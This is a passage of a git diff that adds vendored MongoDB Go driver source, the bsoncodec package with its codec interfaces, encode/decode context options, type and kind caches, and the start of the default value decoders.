bsonrw.Copier{}.AppendArrayBytes(val.Interface().(bsoncore.Array), vr) + val.Set(reflect.ValueOf(arr)) + return err +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/bsoncodec.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/bsoncodec.go new file mode 100644 index 00000000..0693bd43 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/bsoncodec.go @@ -0,0 +1,382 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec // import "go.mongodb.org/mongo-driver/bson/bsoncodec" + +import ( + "fmt" + "reflect" + "strings" + + "go.mongodb.org/mongo-driver/bson/bsonrw" + "go.mongodb.org/mongo-driver/bson/bsontype" + "go.mongodb.org/mongo-driver/bson/primitive" +) + +var ( + emptyValue = reflect.Value{} +) + +// Marshaler is an interface implemented by types that can marshal themselves +// into a BSON document represented as bytes. The bytes returned must be a valid +// BSON document if the error is nil. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Marshaler] instead. +type Marshaler interface { + MarshalBSON() ([]byte, error) +} + +// ValueMarshaler is an interface implemented by types that can marshal +// themselves into a BSON value as bytes. The type must be the valid type for +// the bytes returned. The bytes and byte type together must be valid if the +// error is nil. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.ValueMarshaler] instead. +type ValueMarshaler interface { + MarshalBSONValue() (bsontype.Type, []byte, error) +} + +// Unmarshaler is an interface implemented by types that can unmarshal a BSON +// document representation of themselves. The BSON bytes can be assumed to be +// valid. UnmarshalBSON must copy the BSON bytes if it wishes to retain the data +// after returning. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Unmarshaler] instead. +type Unmarshaler interface { + UnmarshalBSON([]byte) error +} + +// ValueUnmarshaler is an interface implemented by types that can unmarshal a +// BSON value representation of themselves. The BSON bytes and type can be +// assumed to be valid. UnmarshalBSONValue must copy the BSON value bytes if it +// wishes to retain the data after returning. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.ValueUnmarshaler] instead. +type ValueUnmarshaler interface { + UnmarshalBSONValue(bsontype.Type, []byte) error +} + +// ValueEncoderError is an error returned from a ValueEncoder when the provided value can't be +// encoded by the ValueEncoder. +type ValueEncoderError struct { + Name string + Types []reflect.Type + Kinds []reflect.Kind + Received reflect.Value +} + +func (vee ValueEncoderError) Error() string { + typeKinds := make([]string, 0, len(vee.Types)+len(vee.Kinds)) + for _, t := range vee.Types { + typeKinds = append(typeKinds, t.String()) + } + for _, k := range vee.Kinds { + if k == reflect.Map { + typeKinds = append(typeKinds, "map[string]*") + continue + } + typeKinds = append(typeKinds, k.String()) + } + received := vee.Received.Kind().String() + if vee.Received.IsValid() { + received = vee.Received.Type().String() + } + return fmt.Sprintf("%s can only encode valid %s, but got %s", vee.Name, strings.Join(typeKinds, ", "), received) +} + +// ValueDecoderError is an error returned from a ValueDecoder when the provided value can't be +// decoded by the ValueDecoder. +type ValueDecoderError struct { + Name string + Types []reflect.Type + Kinds []reflect.Kind + Received reflect.Value +} + +func (vde ValueDecoderError) Error() string { + typeKinds := make([]string, 0, len(vde.Types)+len(vde.Kinds)) + for _, t := range vde.Types { + typeKinds = append(typeKinds, t.String()) + } + for _, k := range vde.Kinds { + if k == reflect.Map { + typeKinds = append(typeKinds, "map[string]*") + continue + } + typeKinds = append(typeKinds, k.String()) + } + received := vde.Received.Kind().String() + if vde.Received.IsValid() { + received = vde.Received.Type().String() + } + return fmt.Sprintf("%s can only decode valid and settable %s, but got %s", vde.Name, strings.Join(typeKinds, ", "), received) +} + +// EncodeContext is the contextual information required for a Codec to encode a +// value. +type EncodeContext struct { + *Registry + + // MinSize causes the Encoder to marshal Go integer values (int, int8, int16, int32, int64, + // uint, uint8, uint16, uint32, or uint64) as the minimum BSON int size (either 32 or 64 bits) + // that can represent the integer value. + // + // Deprecated: Use bson.Encoder.IntMinSize instead. + MinSize bool + + errorOnInlineDuplicates bool + stringifyMapKeysWithFmt bool + nilMapAsEmpty bool + nilSliceAsEmpty bool + nilByteSliceAsEmpty bool + omitZeroStruct bool + useJSONStructTags bool +} + +// ErrorOnInlineDuplicates causes the Encoder to return an error if there is a duplicate field in +// the marshaled BSON when the "inline" struct tag option is set. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Encoder.ErrorOnInlineDuplicates] instead. +func (ec *EncodeContext) ErrorOnInlineDuplicates() { + ec.errorOnInlineDuplicates = true +} + +// StringifyMapKeysWithFmt causes the Encoder to convert Go map keys to BSON document field name +// strings using fmt.Sprintf() instead of the default string conversion logic. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Encoder.StringifyMapKeysWithFmt] instead. +func (ec *EncodeContext) StringifyMapKeysWithFmt() { + ec.stringifyMapKeysWithFmt = true +} + +// NilMapAsEmpty causes the Encoder to marshal nil Go maps as empty BSON documents instead of BSON +// null. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Encoder.NilMapAsEmpty] instead. +func (ec *EncodeContext) NilMapAsEmpty() { + ec.nilMapAsEmpty = true +} + +// NilSliceAsEmpty causes the Encoder to marshal nil Go slices as empty BSON arrays instead of BSON +// null. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Encoder.NilSliceAsEmpty] instead. +func (ec *EncodeContext) NilSliceAsEmpty() { + ec.nilSliceAsEmpty = true +} + +// NilByteSliceAsEmpty causes the Encoder to marshal nil Go byte slices as empty BSON binary values +// instead of BSON null. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Encoder.NilByteSliceAsEmpty] instead. +func (ec *EncodeContext) NilByteSliceAsEmpty() { + ec.nilByteSliceAsEmpty = true +} + +// OmitZeroStruct causes the Encoder to consider the zero value for a struct (e.g. MyStruct{}) +// as empty and omit it from the marshaled BSON when the "omitempty" struct tag option is set. +// +// Note that the Encoder only examines exported struct fields when determining if a struct is the +// zero value. It considers pointers to a zero struct value (e.g. &MyStruct{}) not empty. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Encoder.OmitZeroStruct] instead. +func (ec *EncodeContext) OmitZeroStruct() { + ec.omitZeroStruct = true +} + +// UseJSONStructTags causes the Encoder to fall back to using the "json" struct tag if a "bson" +// struct tag is not specified. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Encoder.UseJSONStructTags] instead. +func (ec *EncodeContext) UseJSONStructTags() { + ec.useJSONStructTags = true +} + +// DecodeContext is the contextual information required for a Codec to decode a +// value. +type DecodeContext struct { + *Registry + + // Truncate, if true, instructs decoders to to truncate the fractional part of BSON "double" + // values when attempting to unmarshal them into a Go integer (int, int8, int16, int32, int64, + // uint, uint8, uint16, uint32, or uint64) struct field. The truncation logic does not apply to + // BSON "decimal128" values. + // + // Deprecated: Use bson.Decoder.AllowTruncatingDoubles instead. + Truncate bool + + // Ancestor is the type of a containing document. This is mainly used to determine what type + // should be used when decoding an embedded document into an empty interface. For example, if + // Ancestor is a bson.M, BSON embedded document values being decoded into an empty interface + // will be decoded into a bson.M. + // + // Deprecated: Use bson.Decoder.DefaultDocumentM or bson.Decoder.DefaultDocumentD instead. + Ancestor reflect.Type + + // defaultDocumentType specifies the Go type to decode top-level and nested BSON documents into. In particular, the + // usage for this field is restricted to data typed as "interface{}" or "map[string]interface{}". If DocumentType is + // set to a type that a BSON document cannot be unmarshaled into (e.g. "string"), unmarshalling will result in an + // error. DocumentType overrides the Ancestor field. + defaultDocumentType reflect.Type + + binaryAsSlice bool + useJSONStructTags bool + useLocalTimeZone bool + zeroMaps bool + zeroStructs bool +} + +// BinaryAsSlice causes the Decoder to unmarshal BSON binary field values that are the "Generic" or +// "Old" BSON binary subtype as a Go byte slice instead of a primitive.Binary. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Decoder.BinaryAsSlice] instead. +func (dc *DecodeContext) BinaryAsSlice() { + dc.binaryAsSlice = true +} + +// UseJSONStructTags causes the Decoder to fall back to using the "json" struct tag if a "bson" +// struct tag is not specified. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Decoder.UseJSONStructTags] instead. +func (dc *DecodeContext) UseJSONStructTags() { + dc.useJSONStructTags = true +} + +// UseLocalTimeZone causes the Decoder to unmarshal time.Time values in the local timezone instead +// of the UTC timezone. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Decoder.UseLocalTimeZone] instead. +func (dc *DecodeContext) UseLocalTimeZone() { + dc.useLocalTimeZone = true +} + +// ZeroMaps causes the Decoder to delete any existing values from Go maps in the destination value +// passed to Decode before unmarshaling BSON documents into them. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Decoder.ZeroMaps] instead. +func (dc *DecodeContext) ZeroMaps() { + dc.zeroMaps = true +} + +// ZeroStructs causes the Decoder to delete any existing values from Go structs in the destination +// value passed to Decode before unmarshaling BSON documents into them. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Decoder.ZeroStructs] instead. +func (dc *DecodeContext) ZeroStructs() { + dc.zeroStructs = true +} + +// DefaultDocumentM causes the Decoder to always unmarshal documents into the primitive.M type. This +// behavior is restricted to data typed as "interface{}" or "map[string]interface{}". +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Decoder.DefaultDocumentM] instead. +func (dc *DecodeContext) DefaultDocumentM() { + dc.defaultDocumentType = reflect.TypeOf(primitive.M{}) +} + +// DefaultDocumentD causes the Decoder to always unmarshal documents into the primitive.D type. This +// behavior is restricted to data typed as "interface{}" or "map[string]interface{}". +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Decoder.DefaultDocumentD] instead. +func (dc *DecodeContext) DefaultDocumentD() { + dc.defaultDocumentType = reflect.TypeOf(primitive.D{}) +} + +// ValueCodec is an interface for encoding and decoding a reflect.Value. +// values. +// +// Deprecated: Use [ValueEncoder] and [ValueDecoder] instead. +type ValueCodec interface { + ValueEncoder + ValueDecoder +} + +// ValueEncoder is the interface implemented by types that can handle the encoding of a value. +type ValueEncoder interface { + EncodeValue(EncodeContext, bsonrw.ValueWriter, reflect.Value) error +} + +// ValueEncoderFunc is an adapter function that allows a function with the correct signature to be +// used as a ValueEncoder. +type ValueEncoderFunc func(EncodeContext, bsonrw.ValueWriter, reflect.Value) error + +// EncodeValue implements the ValueEncoder interface. +func (fn ValueEncoderFunc) EncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + return fn(ec, vw, val) +} + +// ValueDecoder is the interface implemented by types that can handle the decoding of a value. +type ValueDecoder interface { + DecodeValue(DecodeContext, bsonrw.ValueReader, reflect.Value) error +} + +// ValueDecoderFunc is an adapter function that allows a function with the correct signature to be +// used as a ValueDecoder. +type ValueDecoderFunc func(DecodeContext, bsonrw.ValueReader, reflect.Value) error + +// DecodeValue implements the ValueDecoder interface. +func (fn ValueDecoderFunc) DecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + return fn(dc, vr, val) +} + +// typeDecoder is the interface implemented by types that can handle the decoding of a value given its type. +type typeDecoder interface { + decodeType(DecodeContext, bsonrw.ValueReader, reflect.Type) (reflect.Value, error) +} + +// typeDecoderFunc is an adapter function that allows a function with the correct signature to be used as a typeDecoder. +type typeDecoderFunc func(DecodeContext, bsonrw.ValueReader, reflect.Type) (reflect.Value, error) + +func (fn typeDecoderFunc) decodeType(dc DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + return fn(dc, vr, t) +} + +// decodeAdapter allows two functions with the correct signatures to be used as both a ValueDecoder and typeDecoder. +type decodeAdapter struct { + ValueDecoderFunc + typeDecoderFunc +} + +var _ ValueDecoder = decodeAdapter{} +var _ typeDecoder = decodeAdapter{} + +// decodeTypeOrValue calls decoder.decodeType is decoder is a typeDecoder. Otherwise, it allocates a new element of type +// t and calls decoder.DecodeValue on it. +func decodeTypeOrValue(decoder ValueDecoder, dc DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + td, _ := decoder.(typeDecoder) + return decodeTypeOrValueWithInfo(decoder, td, dc, vr, t, true) +} + +func decodeTypeOrValueWithInfo(vd ValueDecoder, td typeDecoder, dc DecodeContext, vr bsonrw.ValueReader, t reflect.Type, convert bool) (reflect.Value, error) { + if td != nil { + val, err := td.decodeType(dc, vr, t) + if err == nil && convert && val.Type() != t { + // This conversion step is necessary for slices and maps. If a user declares variables like: + // + // type myBool bool + // var m map[string]myBool + // + // and tries to decode BSON bytes into the map, the decoding will fail if this conversion is not present + // because we'll try to assign a value of type bool to one of type myBool. + val = val.Convert(t) + } + return val, err + } + + val := reflect.New(t).Elem() + err := vd.DecodeValue(dc, vr, val) + return val, err +} + +// CodecZeroer is the interface implemented by Codecs that can also determine if +// a value of the type that would be encoded is zero. +// +// Deprecated: Defining custom rules for the zero/empty value will not be supported in Go Driver +// 2.0. Users who want to omit empty complex values should use a pointer field and set the value to +// nil instead. +type CodecZeroer interface { + IsTypeZero(interface{}) bool +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/byte_slice_codec.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/byte_slice_codec.go new file mode 100644 index 00000000..0134b5a9 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/byte_slice_codec.go @@ -0,0 +1,138 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import ( + "fmt" + "reflect" + + "go.mongodb.org/mongo-driver/bson/bsonoptions" + "go.mongodb.org/mongo-driver/bson/bsonrw" + "go.mongodb.org/mongo-driver/bson/bsontype" +) + +// ByteSliceCodec is the Codec used for []byte values. +// +// Deprecated: ByteSliceCodec will not be directly configurable in Go Driver +// 2.0. To configure the byte slice encode and decode behavior, use the +// configuration methods on a [go.mongodb.org/mongo-driver/bson.Encoder] or +// [go.mongodb.org/mongo-driver/bson.Decoder]. To configure the byte slice +// encode and decode behavior for a mongo.Client, use +// [go.mongodb.org/mongo-driver/mongo/options.ClientOptions.SetBSONOptions]. +// +// For example, to configure a mongo.Client to encode nil byte slices as empty +// BSON binary values, use: +// +// opt := options.Client().SetBSONOptions(&options.BSONOptions{ +// NilByteSliceAsEmpty: true, +// }) +// +// See the deprecation notice for each field in ByteSliceCodec for the +// corresponding settings. +type ByteSliceCodec struct { + // EncodeNilAsEmpty causes EncodeValue to marshal nil Go byte slices as empty BSON binary values + // instead of BSON null. + // + // Deprecated: Use bson.Encoder.NilByteSliceAsEmpty or options.BSONOptions.NilByteSliceAsEmpty + // instead. + EncodeNilAsEmpty bool +} + +var ( + defaultByteSliceCodec = NewByteSliceCodec() + + // Assert that defaultByteSliceCodec satisfies the typeDecoder interface, which allows it to be + // used by collection type decoders (e.g. map, slice, etc) to set individual values in a + // collection. + _ typeDecoder = defaultByteSliceCodec +) + +// NewByteSliceCodec returns a ByteSliceCodec with options opts. +// +// Deprecated: NewByteSliceCodec will not be available in Go Driver 2.0. See +// [ByteSliceCodec] for more details. +func NewByteSliceCodec(opts ...*bsonoptions.ByteSliceCodecOptions) *ByteSliceCodec { + byteSliceOpt := bsonoptions.MergeByteSliceCodecOptions(opts...) + codec := ByteSliceCodec{} + if byteSliceOpt.EncodeNilAsEmpty != nil { + codec.EncodeNilAsEmpty = *byteSliceOpt.EncodeNilAsEmpty + } + return &codec +} + +// EncodeValue is the ValueEncoder for []byte. +func (bsc *ByteSliceCodec) EncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tByteSlice { + return ValueEncoderError{Name: "ByteSliceEncodeValue", Types: []reflect.Type{tByteSlice}, Received: val} + } + if val.IsNil() && !bsc.EncodeNilAsEmpty && !ec.nilByteSliceAsEmpty { + return vw.WriteNull() + } + return vw.WriteBinary(val.Interface().([]byte)) +} + +func (bsc *ByteSliceCodec) decodeType(_ DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tByteSlice { + return emptyValue, ValueDecoderError{ + Name: "ByteSliceDecodeValue", + Types: []reflect.Type{tByteSlice}, + Received: reflect.Zero(t), + } + } + + var data []byte + var err error + switch vrType := vr.Type(); vrType { + case bsontype.String: + str, err := vr.ReadString() + if err != nil { + return emptyValue, err + } + data = []byte(str) + case bsontype.Symbol: + sym, err := vr.ReadSymbol() + if err != nil { + return emptyValue, err + } + data = []byte(sym) + case bsontype.Binary: + var subtype byte + data, subtype, err = vr.ReadBinary() + if err != nil { + return emptyValue, err + } + if subtype != bsontype.BinaryGeneric && subtype != bsontype.BinaryBinaryOld { + return emptyValue, decodeBinaryError{subtype: subtype, typeName: "[]byte"} + } + case bsontype.Null: + err = vr.ReadNull() + case bsontype.Undefined: + err = vr.ReadUndefined() + default: + return emptyValue, fmt.Errorf("cannot decode %v into a []byte", vrType) + } + if err != nil { + return emptyValue, err + } + + return reflect.ValueOf(data), nil +} + +// DecodeValue is the ValueDecoder for []byte. +func (bsc *ByteSliceCodec) DecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tByteSlice { + return ValueDecoderError{Name: "ByteSliceDecodeValue", Types: []reflect.Type{tByteSlice}, Received: val} + } + + elem, err := bsc.decodeType(dc, vr, tByteSlice) + if err != nil { + return err + } + + val.Set(elem) + return nil +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/codec_cache.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/codec_cache.go new file mode 100644 index 00000000..844b5029 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/codec_cache.go @@ -0,0 +1,166 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import ( + "reflect" + "sync" + "sync/atomic" +) + +// Runtime check that the kind encoder and decoder caches can store any valid +// reflect.Kind constant. +func init() { + if s := reflect.Kind(len(kindEncoderCache{}.entries)).String(); s != "kind27" { + panic("The capacity of kindEncoderCache is too small.\n" + + "This is due to a new type being added to reflect.Kind.") + } +} + +// statically assert array size +var _ = (kindEncoderCache{}).entries[reflect.UnsafePointer] +var _ = (kindDecoderCache{}).entries[reflect.UnsafePointer] + +type typeEncoderCache struct { + cache sync.Map // map[reflect.Type]ValueEncoder +} + +func (c *typeEncoderCache) Store(rt reflect.Type, enc ValueEncoder) { + c.cache.Store(rt, enc) +} + +func (c *typeEncoderCache) Load(rt reflect.Type) (ValueEncoder, bool) { + if v, _ := c.cache.Load(rt); v != nil { + return v.(ValueEncoder), true + } + return nil, false +} + +func (c *typeEncoderCache) LoadOrStore(rt reflect.Type, enc ValueEncoder) ValueEncoder { + if v, loaded := c.cache.LoadOrStore(rt, enc); loaded { + enc = v.(ValueEncoder) + } + return enc +} + +func (c *typeEncoderCache) Clone() *typeEncoderCache { + cc := new(typeEncoderCache) + c.cache.Range(func(k, v interface{}) bool { + if k != nil && v != nil { + cc.cache.Store(k, v) + } + return true + }) + return cc +} + +type typeDecoderCache struct { + cache sync.Map // map[reflect.Type]ValueDecoder +} + +func (c *typeDecoderCache) Store(rt reflect.Type, dec ValueDecoder) { + c.cache.Store(rt, dec) +} + +func (c *typeDecoderCache) Load(rt reflect.Type) (ValueDecoder, bool) { + if v, _ := c.cache.Load(rt); v != nil { + return v.(ValueDecoder), true + } + return nil, false +} + +func (c *typeDecoderCache) LoadOrStore(rt reflect.Type, dec ValueDecoder) ValueDecoder { + if v, loaded := c.cache.LoadOrStore(rt, dec); loaded { + dec = v.(ValueDecoder) + } + return dec +} + +func (c *typeDecoderCache) Clone() *typeDecoderCache { + cc := new(typeDecoderCache) + c.cache.Range(func(k, v interface{}) bool { + if k != nil && v != nil { + cc.cache.Store(k, v) + } + return true + }) + return cc +} + +// atomic.Value requires that all calls to Store() have the same concrete type +// so we wrap the ValueEncoder with a kindEncoderCacheEntry to ensure the type +// is always the same (since different concrete types may implement the +// ValueEncoder interface). +type kindEncoderCacheEntry struct { + enc ValueEncoder +} + +type kindEncoderCache struct { + entries [reflect.UnsafePointer + 1]atomic.Value // *kindEncoderCacheEntry +} + +func (c *kindEncoderCache) Store(rt reflect.Kind, enc ValueEncoder) { + if enc != nil && rt < reflect.Kind(len(c.entries)) { + c.entries[rt].Store(&kindEncoderCacheEntry{enc: enc}) + } +} + +func (c *kindEncoderCache) Load(rt reflect.Kind) (ValueEncoder, bool) { + if rt < reflect.Kind(len(c.entries)) { + if ent, ok := c.entries[rt].Load().(*kindEncoderCacheEntry); ok { + return ent.enc, ent.enc != nil + } + } + return nil, false +} + +func (c *kindEncoderCache) Clone() *kindEncoderCache { + cc := new(kindEncoderCache) + for i, v := range c.entries { + if val := v.Load(); val != nil { + cc.entries[i].Store(val) + } + } + return cc +} + +// atomic.Value requires that all calls to Store() have the same concrete type +// so we wrap the ValueDecoder with a kindDecoderCacheEntry to ensure the type +// is always the same (since different concrete types may implement the +// ValueDecoder interface). +type kindDecoderCacheEntry struct { + dec ValueDecoder +} + +type kindDecoderCache struct { + entries [reflect.UnsafePointer + 1]atomic.Value // *kindDecoderCacheEntry +} + +func (c *kindDecoderCache) Store(rt reflect.Kind, dec ValueDecoder) { + if rt < reflect.Kind(len(c.entries)) { + c.entries[rt].Store(&kindDecoderCacheEntry{dec: dec}) + } +} + +func (c *kindDecoderCache) Load(rt reflect.Kind) (ValueDecoder, bool) { + if rt < reflect.Kind(len(c.entries)) { + if ent, ok := c.entries[rt].Load().(*kindDecoderCacheEntry); ok { + return ent.dec, ent.dec != nil + } + } + return nil, false +} + +func (c *kindDecoderCache) Clone() *kindDecoderCache { + cc := new(kindDecoderCache) + for i, v := range c.entries { + if val := v.Load(); val != nil { + cc.entries[i].Store(val) + } + } + return cc +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/cond_addr_codec.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/cond_addr_codec.go new file mode 100644 index 00000000..cb8180f2 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/cond_addr_codec.go @@ -0,0 +1,63 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import ( + "reflect" + + "go.mongodb.org/mongo-driver/bson/bsonrw" +) + +// condAddrEncoder is the encoder used when a pointer to the encoding value has an encoder. +type condAddrEncoder struct { + canAddrEnc ValueEncoder + elseEnc ValueEncoder +} + +var _ ValueEncoder = (*condAddrEncoder)(nil) + +// newCondAddrEncoder returns an condAddrEncoder. +func newCondAddrEncoder(canAddrEnc, elseEnc ValueEncoder) *condAddrEncoder { + encoder := condAddrEncoder{canAddrEnc: canAddrEnc, elseEnc: elseEnc} + return &encoder +} + +// EncodeValue is the ValueEncoderFunc for a value that may be addressable. +func (cae *condAddrEncoder) EncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if val.CanAddr() { + return cae.canAddrEnc.EncodeValue(ec, vw, val) + } + if cae.elseEnc != nil { + return cae.elseEnc.EncodeValue(ec, vw, val) + } + return ErrNoEncoder{Type: val.Type()} +} + +// condAddrDecoder is the decoder used when a pointer to the value has a decoder. +type condAddrDecoder struct { + canAddrDec ValueDecoder + elseDec ValueDecoder +} + +var _ ValueDecoder = (*condAddrDecoder)(nil) + +// newCondAddrDecoder returns an CondAddrDecoder. +func newCondAddrDecoder(canAddrDec, elseDec ValueDecoder) *condAddrDecoder { + decoder := condAddrDecoder{canAddrDec: canAddrDec, elseDec: elseDec} + return &decoder +} + +// DecodeValue is the ValueDecoderFunc for a value that may be addressable. +func (cad *condAddrDecoder) DecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if val.CanAddr() { + return cad.canAddrDec.DecodeValue(dc, vr, val) + } + if cad.elseDec != nil { + return cad.elseDec.DecodeValue(dc, vr, val) + } + return ErrNoDecoder{Type: val.Type()} +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/default_value_decoders.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/default_value_decoders.go new file mode 100644 index 00000000..8702d6d3 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/default_value_decoders.go @@ -0,0 +1,1819 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import ( + "encoding/json" + "errors" + "fmt" + "math" + "net/url" + "reflect" + "strconv" + "time" + + "go.mongodb.org/mongo-driver/bson/bsonrw" + "go.mongodb.org/mongo-driver/bson/bsontype" + "go.mongodb.org/mongo-driver/bson/primitive" + "go.mongodb.org/mongo-driver/x/bsonx/bsoncore" +) + +var ( + defaultValueDecoders DefaultValueDecoders + errCannotTruncate = errors.New("float64 can only be truncated to a lower precision type when truncation is enabled") +) + +type decodeBinaryError struct { + subtype byte + typeName string +} + +func (d decodeBinaryError) Error() string { + return fmt.Sprintf("only binary values with subtype 0x00 or 0x02 can be decoded into %s, but got subtype %v", d.typeName, d.subtype) +} + +func newDefaultStructCodec() *StructCodec { + codec, err := NewStructCodec(DefaultStructTagParser) + if err != nil { + // This function is called from the codec registration path, so errors can't be propagated. If there's an error + // constructing the StructCodec, we panic to avoid losing it. + panic(fmt.Errorf("error creating default StructCodec: %w", err)) + } + return codec +} + +// DefaultValueDecoders is a namespace type for the default ValueDecoders used +// when creating a registry. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +type DefaultValueDecoders struct{} + +// RegisterDefaultDecoders will register the decoder methods attached to DefaultValueDecoders with +// the provided RegistryBuilder. +// +// There is no support for decoding map[string]interface{} because there is no decoder for +// interface{}, so users must either register this decoder themselves or use the +// EmptyInterfaceDecoder available in the bson package. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) RegisterDefaultDecoders(rb *RegistryBuilder) { + if rb == nil { + panic(errors.New("argument to RegisterDefaultDecoders must not be nil")) + } + + intDecoder := decodeAdapter{dvd.IntDecodeValue, dvd.intDecodeType} + floatDecoder := decodeAdapter{dvd.FloatDecodeValue, dvd.floatDecodeType} + + rb. + RegisterTypeDecoder(tD, ValueDecoderFunc(dvd.DDecodeValue)). + RegisterTypeDecoder(tBinary, decodeAdapter{dvd.BinaryDecodeValue, dvd.binaryDecodeType}). + RegisterTypeDecoder(tUndefined, decodeAdapter{dvd.UndefinedDecodeValue, dvd.undefinedDecodeType}). + RegisterTypeDecoder(tDateTime, decodeAdapter{dvd.DateTimeDecodeValue, dvd.dateTimeDecodeType}). + RegisterTypeDecoder(tNull, decodeAdapter{dvd.NullDecodeValue, dvd.nullDecodeType}). + RegisterTypeDecoder(tRegex, decodeAdapter{dvd.RegexDecodeValue, dvd.regexDecodeType}). + RegisterTypeDecoder(tDBPointer, decodeAdapter{dvd.DBPointerDecodeValue, dvd.dBPointerDecodeType}). + RegisterTypeDecoder(tTimestamp, decodeAdapter{dvd.TimestampDecodeValue, dvd.timestampDecodeType}). + RegisterTypeDecoder(tMinKey, decodeAdapter{dvd.MinKeyDecodeValue, dvd.minKeyDecodeType}). + RegisterTypeDecoder(tMaxKey, decodeAdapter{dvd.MaxKeyDecodeValue, dvd.maxKeyDecodeType}). + RegisterTypeDecoder(tJavaScript, decodeAdapter{dvd.JavaScriptDecodeValue, dvd.javaScriptDecodeType}). + RegisterTypeDecoder(tSymbol, decodeAdapter{dvd.SymbolDecodeValue, dvd.symbolDecodeType}). + RegisterTypeDecoder(tByteSlice, defaultByteSliceCodec). + RegisterTypeDecoder(tTime, defaultTimeCodec). + RegisterTypeDecoder(tEmpty, defaultEmptyInterfaceCodec). + RegisterTypeDecoder(tCoreArray, defaultArrayCodec). + RegisterTypeDecoder(tOID, decodeAdapter{dvd.ObjectIDDecodeValue, dvd.objectIDDecodeType}). + RegisterTypeDecoder(tDecimal, decodeAdapter{dvd.Decimal128DecodeValue, dvd.decimal128DecodeType}). + RegisterTypeDecoder(tJSONNumber, decodeAdapter{dvd.JSONNumberDecodeValue, dvd.jsonNumberDecodeType}). + RegisterTypeDecoder(tURL, decodeAdapter{dvd.URLDecodeValue, dvd.urlDecodeType}). + RegisterTypeDecoder(tCoreDocument, ValueDecoderFunc(dvd.CoreDocumentDecodeValue)). + RegisterTypeDecoder(tCodeWithScope, decodeAdapter{dvd.CodeWithScopeDecodeValue, dvd.codeWithScopeDecodeType}). + RegisterDefaultDecoder(reflect.Bool, decodeAdapter{dvd.BooleanDecodeValue, dvd.booleanDecodeType}). + RegisterDefaultDecoder(reflect.Int, intDecoder). + RegisterDefaultDecoder(reflect.Int8, intDecoder). + RegisterDefaultDecoder(reflect.Int16, intDecoder). + RegisterDefaultDecoder(reflect.Int32, intDecoder). + RegisterDefaultDecoder(reflect.Int64, intDecoder). + RegisterDefaultDecoder(reflect.Uint, defaultUIntCodec). + RegisterDefaultDecoder(reflect.Uint8, defaultUIntCodec). + RegisterDefaultDecoder(reflect.Uint16, 